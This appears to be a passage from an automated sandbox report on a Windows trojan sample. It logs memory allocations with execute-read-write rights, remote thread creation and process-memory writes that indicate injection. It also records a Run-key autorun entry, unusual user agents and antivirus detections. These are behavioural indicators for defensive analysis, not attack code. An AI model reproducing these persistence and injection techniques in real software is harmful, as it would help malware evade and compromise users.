NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73b00000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73b80000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73e00000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73e80000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f00000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f80000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74180000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74200000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74280000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74300000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74480000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74500000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74580000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74600000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 291 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 14 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 13 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 20 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 442 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 12 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 13 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 20 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 442 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 8 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 309 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480

Installs itself for autorun at Windows startup (1 event)

reg_key

HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Oxqfxoh

reg_value

C:\Users\Public\Libraries\hoxfqxO.url

Creates a thread using CreateRemoteThread in a non-child process indicative of process injection (4 events)

Time & API	Arguments	Return	Repeated
Process injection	Process 1684 created a remote thread in non-child process 0
CreateRemoteThread Oct. 16, 2021, 1:19 p.m.	thread_identifier: 14 process_identifier: 0 function_address: 0x00000000 flags: 0 stack_size: 0 parameter: 0x00000000 process_handle: 0x00000000	0	0
CreateRemoteThread Oct. 16, 2021, 1:19 p.m.	thread_identifier: 12 process_identifier: 0 function_address: 0x00000000 flags: 0 stack_size: 0 parameter: 0x00000000 process_handle: 0x00000000	0	0
CreateRemoteThread Oct. 16, 2021, 1:19 p.m.	thread_identifier: 1946681344 process_identifier: 0 function_address: 0x00000000 flags: 0 stack_size: 0 parameter: 0x00000000 process_handle: 0x00000000	0	0

Manipulates memory of a non-child process indicative of process injection (46 events)

Time & API	Arguments	Return	Repeated
Process injection	Process 1684 manipulating memory of non-child process 0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72600000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72e00000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72e80000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72f00000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72f80000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73000000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73080000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73100000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73180000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73200000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73480000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73500000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73580000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73800000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73880000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73900000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73980000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73a00000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73a80000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73b00000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73b80000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73e00000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73e80000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f00000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f80000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74180000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74200000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74280000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74300000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74480000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74500000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74580000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 507904 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x74600000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 291 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 14 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 13 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 20 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 442 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 12 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 13 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 20 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 442 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 8 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0
NtAllocateVirtualMemory Oct. 16, 2021, 1:19 p.m.	process_identifier: 0 region_size: 309 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00000000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000000	3221225480	0

Potential code injection by writing to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 1684 injected into non-child 0
WriteProcessMemory Oct. 16, 2021, 1:19 p.m.	buffer: ¥AÿâI'`©÷ìýQFe(àýQÏh(ìýQPgð`©÷ %éãá¡Ú Ú ÚÔ ÚðÚ Ú8 ÚlÚÔÚøÜÐ\|Ð¬Ð LÐ$Ð¨Ð¼ÐðÐØ¤ÀÜ þQè?'ìýQ base_address: 0x00000000 process_identifier: 0 process_handle: 0x00000000		0	0

Network activity contains more than one unique useragent (2 events)

process	Oxqfxohrjqryauuonybvsdergonzrywtkp.exe				useragent	lVali
process	Oxqfxohrjqryauuonybvsdergonzrywtkp.exe				useragent	aswe

Resumed a suspended thread in a remote process potentially indicative of process injection (4 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 492 resumed a thread in remote process 2092
Process injection	Process 1908 resumed a thread in remote process 112
NtResumeThread Oct. 16, 2021, 1:19 p.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 2092	1	0	0
NtResumeThread Oct. 16, 2021, 1:23 p.m.	thread_handle: 0x00000088 suspend_count: 0 process_identifier: 112	1	0	0

File has been identified by 22 AntiVirus engines on VirusTotal as malicious (22 events)

MicroWorld-eScan	Gen:Variant.Zusy.403643
Cylance	Unsafe
BitDefenderTheta	Gen:NN.ZelphiCO.34218.QKW@aKdIgUii
Cyren	W32/Delf.QG.gen!Eldorado
ESET-NOD32	a variant of Win32/GenKryptik.FMBZ
APEX	Malicious
Kaspersky	UDS:DangerousObject.Multi.Generic
BitDefender	Gen:Variant.Zusy.403643
McAfee-GW-Edition	BehavesLike.Win32.Generic.jh
Sophos	Mal/Generic-S
MaxSecure	Trojan.Malware.300983.susgen
MAX	malware (ai score=83)
Kingsoft	Win32.Hack.Undef.(kcloud)
Microsoft	Trojan:Win32/Tnega!ml
ZoneAlarm	UDS:DangerousObject.Multi.Generic
Cynet	Malicious (score: 100)
McAfee	Artemis!A8521386EACF
VBA32	BScope.TrojanSpy.Noon
TrendMicro-HouseCall	TROJ_GEN.R002H0DJF21
eGambit	Unsafe.AI_Score_56%
Fortinet	W32/Injector.EQAC!tr
Panda	Trj/RnkBend.A

Oxqfxohrjqryauuonybvsdergonzrywtkp.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All